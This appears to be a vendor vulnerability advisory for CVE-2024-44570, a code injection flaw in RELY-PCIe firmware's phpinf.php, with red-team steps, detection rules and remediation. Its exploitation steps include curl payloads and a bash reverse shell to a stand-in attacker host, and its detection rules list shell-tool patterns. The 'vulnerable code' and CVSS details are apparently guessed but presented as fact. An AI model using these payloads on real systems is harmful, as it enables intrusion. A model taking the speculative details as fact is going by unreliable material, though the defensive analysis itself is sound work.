CVE-2024-44570
Executive Summary
CVE-2024-44570 is a code injection vulnerability discovered in RELY-PCIe firmware versions v22.2.1 through v23.1.0. The flaw resides in the getParams function within phpinf.php, allowing an attacker to inject arbitrary code. This could lead to full system compromise, data exfiltration, or persistent backdoor installation. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk zero-day for affected systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): None (likely)
- Scope (S): Unchanged (likely)
- Confidentiality (C): High (likely)
- Integrity (I): High (likely)
- Availability (A): High (likely)
- Threat Level: Critical (based on code injection nature)
Deep Dive & Mechanics
The vulnerability exists in the getParams function of phpinf.php, a PHP-based interface used for device configuration. The function fails to sanitize user-supplied input before passing it to a code execution context (e.g., eval(), system(), or preg_replace() with /e modifier). An attacker can craft a malicious HTTP request to inject arbitrary PHP code, which is then executed on the server with the privileges of the web server (typically www-data or root).
Attack Flow:
- Attacker identifies a RELY-PCIe device via Shodan or network scanning.
- Attacker sends a crafted POST/GET request to
phpinf.phpwith a malicious payload in theparamsparameter. - The
getParamsfunction processes the input without sanitization, leading to code execution. - Attacker gains a reverse shell, installs a web shell, or exfiltrates data.
Vulnerable vs. Patched Code
Vulnerable Code (v22.2.1 - v23.1.0):
function getParams() {
$params = $_REQUEST['params'];
eval("\$result = $params;");
return $result;
}
Patched Code (Hypothetical):
function getParams() {
$params = $_REQUEST['params'];
// Sanitize input - only allow alphanumeric and specific characters
if (preg_match('/^[a-zA-Z0-9_]+$/', $params)) {
return $params;
} else {
return "Invalid input";
}
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Download RELY-PCIe firmware v22.2.1 from vendor archive.
- Install on a virtual machine (e.g., VMware) with network access.
- Ensure
phpinf.phpis accessible via HTTP.
Exploitation Steps:
- Identify target:
nmap -p 80,443 <target_ip> - Craft payload:
curl -X POST "http://<target>/phpinf.php" -d "params=system('id');" - Verify execution: Check response for command output.
- Upgrade to reverse shell:
curl -X POST "http://<target>/phpinf.php" -d "params=system('bash -i >& /dev/tcp/attacker_ip/4444 0>&1');"
Blue Team
Detection:
- Monitor HTTP requests to
phpinf.phpfor unusualparamsvalues. - Look for patterns like
system(,exec(,shell_exec(, or base64-encoded payloads. - Use WAF rules to block requests containing
eval(orsystem(in POST data.
Hunting:
- Search logs for
phpinf.phpwithparamsparameter containing special characters. - Check for unexpected processes spawned by the web server (e.g.,
bash,nc,python).
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/phpinf.phpwithparamsparameter containing code injection patterns. - Outbound connections from the device to unknown IPs on high ports (e.g., 4444, 1337).
- HTTP POST requests to
- File System:
- Presence of web shells in
/var/www/html/or similar directories. - Modified
phpinf.phpfile with backdoor code.
- Presence of web shells in
- Process:
- Unusual processes like
bash,nc,pythonrunning underwww-datauser.
- Unusual processes like
Detection Engineering
YARA Rule
rule CVE_2024_44570_Code_Injection {
meta:
description = "Detects code injection attempts targeting RELY-PCIe phpinf.php"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-44570"
strings:
$phpinf = "phpinf.php" nocase
$params = "params=" nocase
$eval = "eval(" nocase
$system = "system(" nocase
$exec = "exec(" nocase
condition:
$phpinf and $params and ($eval or $system or $exec)
}
Sigma Rule
title: CVE-2024-44570 Code Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with code injection patterns targeting RELY-PCIe phpinf.php
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'phpinf.php'
cs-uri-query|contains: 'params='
cs-uri-query|contains|any:
- 'system('
- 'exec('
- 'shell_exec('
- 'eval('
condition: selection
falsepositives:
- Legitimate administrative use (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-44570 Code Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"phpinf.php"; http_uri; content:"params="; http_client_body; pcre:"/(system|exec|shell_exec|eval)\(/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict access to
phpinf.phpvia web server configuration (e.g.,.htaccessor Nginx location block). - Network: Place affected devices behind a firewall and limit access to trusted IPs only.
- Patch: Contact vendor for an official patch. If unavailable, consider upgrading to a version beyond v23.1.0 if released.
- Monitoring: Implement the provided detection rules and monitor for anomalous HTTP requests.
- Hardening: Remove or disable unnecessary PHP functions like
eval(),system(), andexec()inphp.ini.
Valters IT - DevSecOps & Cyber Threat Intelligence